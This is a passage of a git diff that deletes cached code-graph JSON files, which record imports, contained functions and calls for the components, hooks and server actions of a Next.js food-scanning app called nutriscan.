"d_documents_github_nutriscan_app_sobre_components_problemsection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_problemsection_problemsection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_storysection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_storysection_storysection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_missionsection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_missionsection_missionsection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_impactsection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_impactsection_impactsection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_targetaudiencesection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_targetaudiencesection_targetaudiencesection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_howitworkssection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_howitworkssection_howitworkssection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_valuessection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_valuessection_valuessection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_ctasection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_ctasection_ctasection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "sobre_page_metadata", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L12", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "sobre_page_sobrepage", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L38", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ddf22585a8fe8179f3ac29f850e6cc6b4de6e73046addf33e9b6e30fc202ba7a.json b/graphify-out/cache/ast/ddf22585a8fe8179f3ac29f850e6cc6b4de6e73046addf33e9b6e30fc202ba7a.json
deleted file mode 100644
index 40f38ce..0000000
--- a/graphify-out/cache/ast/ddf22585a8fe8179f3ac29f850e6cc6b4de6e73046addf33e9b6e30fc202ba7a.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_lib_searchutils_ts", "label": "searchUtils.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L1"}, {"id": "lib_searchutils_calculaterelevancescore", "label": "calculateRelevanceScore()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L6"}, {"id": "lib_searchutils_sortbyrelevance", "label": "sortByRelevance()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L42"}], "edges": [{"source": "d_documents_github_nutriscan_lib_searchutils_ts", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_searchutils_ts", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_searchutils_ts", "target": "lib_searchutils_calculaterelevancescore", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_searchutils_ts", "target": "lib_searchutils_sortbyrelevance", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L42", "weight": 1.0}], "raw_calls": [{"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L10"}, {"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L11"}, {"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "startsWith", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L19"}, {"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L24"}, {"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L30"}, {"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L30"}, {"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L31"}, {"caller_nid": "lib_searchutils_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L31"}, {"caller_nid": "lib_searchutils_sortbyrelevance", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L46"}, {"caller_nid": "lib_searchutils_sortbyrelevance", "callee": "sort", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L46"}, {"caller_nid": "lib_searchutils_sortbyrelevance", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts", "source_location": "L46"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/e0731611af11d8d704a78032047ec202bd22d83dd049403e03d0ffe803116df3.json b/graphify-out/cache/ast/e0731611af11d8d704a78032047ec202bd22d83dd049403e03d0ffe803116df3.json
deleted file mode 100644
index c1f7b6f..0000000
--- a/graphify-out/cache/ast/e0731611af11d8d704a78032047ec202bd22d83dd049403e03d0ffe803116df3.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_actions_ts", "label": "actions.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L1"}, {"id": "app_actions_verificarlista", "label": "verificarLista()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L5"}, {"id": "app_actions_criaritens", "label": "criarItens()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L28"}, {"id": "app_actions_listarprodutos", "label": "listarProdutos()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L55"}, {"id": "app_actions_deletarproduto", "label": "deletarProduto()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L70"}, {"id": "app_actions_togglecomprado", "label": "toggleComprado()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L87"}], "edges": [{"source": "d_documents_github_nutriscan_app_actions_ts", "target": "d_documents_github_nutriscan_lib_prisma_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_actions_ts", "target": "cache", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_actions_ts", "target": "app_actions_verificarlista", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_actions_ts", "target": "app_actions_criaritens", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L28", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_actions_ts", "target": "app_actions_listarprodutos", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L55", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_actions_ts", "target": "app_actions_deletarproduto", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L70", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_actions_ts", "target": "app_actions_togglecomprado", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L87", "weight": 1.0}], "raw_calls": [{"caller_nid": "app_actions_verificarlista", "callee": "findUnique", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L7"}, {"caller_nid": "app_actions_verificarlista", "callee": "create", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L12"}, {"caller_nid": "app_actions_verificarlista", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L23"}, {"caller_nid": "app_actions_criaritens", "callee": "get", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L30"}, {"caller_nid": "app_actions_criaritens", "callee": "Number", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L31"}, {"caller_nid": "app_actions_criaritens", "callee": "get", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L31"}, {"caller_nid": "app_actions_criaritens", "callee": "get", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L32"}, {"caller_nid": "app_actions_criaritens", "callee": "create", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L38"}, {"caller_nid": "app_actions_criaritens", "callee": "revalidatePath", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L47"}, {"caller_nid": "app_actions_criaritens", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L50"}, {"caller_nid": "app_actions_listarprodutos", "callee": "findMany", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L57"}, {"caller_nid": "app_actions_listarprodutos", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L65"}, {"caller_nid": "app_actions_deletarproduto", "callee": "delete", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L72"}, {"caller_nid": "app_actions_deletarproduto", "callee": "revalidatePath", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L79"}, {"caller_nid": "app_actions_deletarproduto", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L82"}, {"caller_nid": "app_actions_togglecomprado", "callee": "findUnique", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L89"}, {"caller_nid": "app_actions_togglecomprado", "callee": "update", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L97"}, {"caller_nid": "app_actions_togglecomprado", "callee": "revalidatePath", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L107"}, {"caller_nid": "app_actions_togglecomprado", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\actions.ts", "source_location": "L110"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/e0b9f99bb826059d223c66743d0aba4771d212ccafde21d10cad7d31248fd816.json b/graphify-out/cache/ast/e0b9f99bb826059d223c66743d0aba4771d212ccafde21d10cad7d31248fd816.json
deleted file mode 100644
index c00eedf..0000000
--- a/graphify-out/cache/ast/e0b9f99bb826059d223c66743d0aba4771d212ccafde21d10cad7d31248fd816.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_herosection_tsx", "label": "HeroSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HeroSection.tsx", "source_location": "L1"}, {"id": "components_herosection_herosection", "label": "HeroSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HeroSection.tsx", "source_location": "L6"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_herosection_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HeroSection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_herosection_tsx", "target": "image", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HeroSection.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_herosection_tsx", "target": "components_herosection_herosection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HeroSection.tsx", "source_location": "L6", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_herosection_herosection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HeroSection.tsx", "source_location": "L88"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ec1295799df273d24b3e1bb22602bd8f16985282eb883f72916f94b3ab725ff9.json b/graphify-out/cache/ast/ec1295799df273d24b3e1bb22602bd8f16985282eb883f72916f94b3ab725ff9.json
deleted file mode 100644
index e53116a..0000000
--- a/graphify-out/cache/ast/ec1295799df273d24b3e1bb22602bd8f16985282eb883f72916f94b3ab725ff9.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_hooks_usecacheonlymode_ts", "label": "useCacheOnlyMode.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts", "source_location": "L1"}, {"id": "hooks_usecacheonlymode_usecacheonlymode", "label": "useCacheOnlyMode()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts", "source_location": "L5"}], "edges": [{"source": "d_documents_github_nutriscan_hooks_usecacheonlymode_ts", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usecacheonlymode_ts", "target": "hooks_usecacheonlymode_usecacheonlymode", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts", "source_location": "L5", "weight": 1.0}], "raw_calls": [{"caller_nid": "hooks_usecacheonlymode_usecacheonlymode", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts", "source_location": "L6"}, {"caller_nid": "hooks_usecacheonlymode_usecacheonlymode", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts", "source_location": "L9"}, {"caller_nid": "hooks_usecacheonlymode_usecacheonlymode", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts", "source_location": "L16"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ee6e380e56715456a0d4019ddc8e7e340bae15534f2eacdc504c4db19bc6ed67.json b/graphify-out/cache/ast/ee6e380e56715456a0d4019ddc8e7e340bae15534f2eacdc504c4db19bc6ed67.json
deleted file mode 100644
index df900ea..0000000
--- a/graphify-out/cache/ast/ee6e380e56715456a0d4019ddc8e7e340bae15534f2eacdc504c4db19bc6ed67.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_sheet_tsx", "label": "sheet.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L1"}, {"id": "ui_sheet_sheetoverlay", "label": "SheetOverlay", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L18"}, {"id": "ui_sheet_sheetvariants", "label": "sheetVariants", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L33"}, {"id": "ui_sheet_sheetcontentprops", "label": "SheetContentProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L52"}, {"id": "ui_sheet_sheetcontent", "label": "SheetContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L56"}, {"id": "ui_sheet_sheetheader", "label": "SheetHeader()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L77"}, {"id": "ui_sheet_sheetfooter", "label": "SheetFooter()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L91"}, {"id": "ui_sheet_sheettitle", "label": "SheetTitle", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L105"}, {"id": "ui_sheet_sheetdescription", "label": "SheetDescription", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L117"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "react_dialog", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "class_variance_authority", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheetoverlay", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L18", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheetvariants", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L33", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheetcontentprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L52", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheetcontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L56", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheetheader", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L77", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheetfooter", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L91", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheettitle", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L105", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_sheet_tsx", "target": "ui_sheet_sheetdescription", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L117", "weight": 1.0}], "raw_calls": [{"caller_nid": "ui_sheet_sheetheader", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L82"}, {"caller_nid": "ui_sheet_sheetfooter", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx", "source_location": "L96"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ef5b1be99c1de3a9d585a73095725794507c3bac0ec7dda1fe6e62b7eede5151.json b/graphify-out/cache/ast/ef5b1be99c1de3a9d585a73095725794507c3bac0ec7dda1fe6e62b7eede5151.json
deleted file mode 100644
index 19343fc..0000000
--- a/graphify-out/cache/ast/ef5b1be99c1de3a9d585a73095725794507c3bac0ec7dda1fe6e62b7eede5151.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_next_env_d_ts", "label": "next-env.d.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\next-env.d.ts", "source_location": "L1"}], "edges": [], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/f24a7850d1e2f13f5d6f7a9c9eb06a1d4a0594451a97cb416be66b15f107910e.json b/graphify-out/cache/ast/f24a7850d1e2f13f5d6f7a9c9eb06a1d4a0594451a97cb416be66b15f107910e.json
deleted file mode 100644
index 7dd0ae8..0000000
--- a/graphify-out/cache/ast/f24a7850d1e2f13f5d6f7a9c9eb06a1d4a0594451a97cb416be66b15f107910e.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "label": "checkbox.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L1"}, {"id": "ui_checkbox_checkbox", "label": "Checkbox", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L9"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "target": "react_checkbox", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "target": "ui_checkbox_checkbox", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx", "source_location": "L9", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/f2f4d307379dcfc2d689b06a79a87ceaeee2ba3db8b7d3680002c7aeaca36fe0.json b/graphify-out/cache/ast/f2f4d307379dcfc2d689b06a79a87ceaeee2ba3db8b7d3680002c7aeaca36fe0.json
deleted file mode 100644
index 955439b..0000000
--- a/graphify-out/cache/ast/f2f4d307379dcfc2d689b06a79a87ceaeee2ba3db8b7d3680002c7aeaca36fe0.json
+++ /dev/null
@@ -1 +0,0 @@
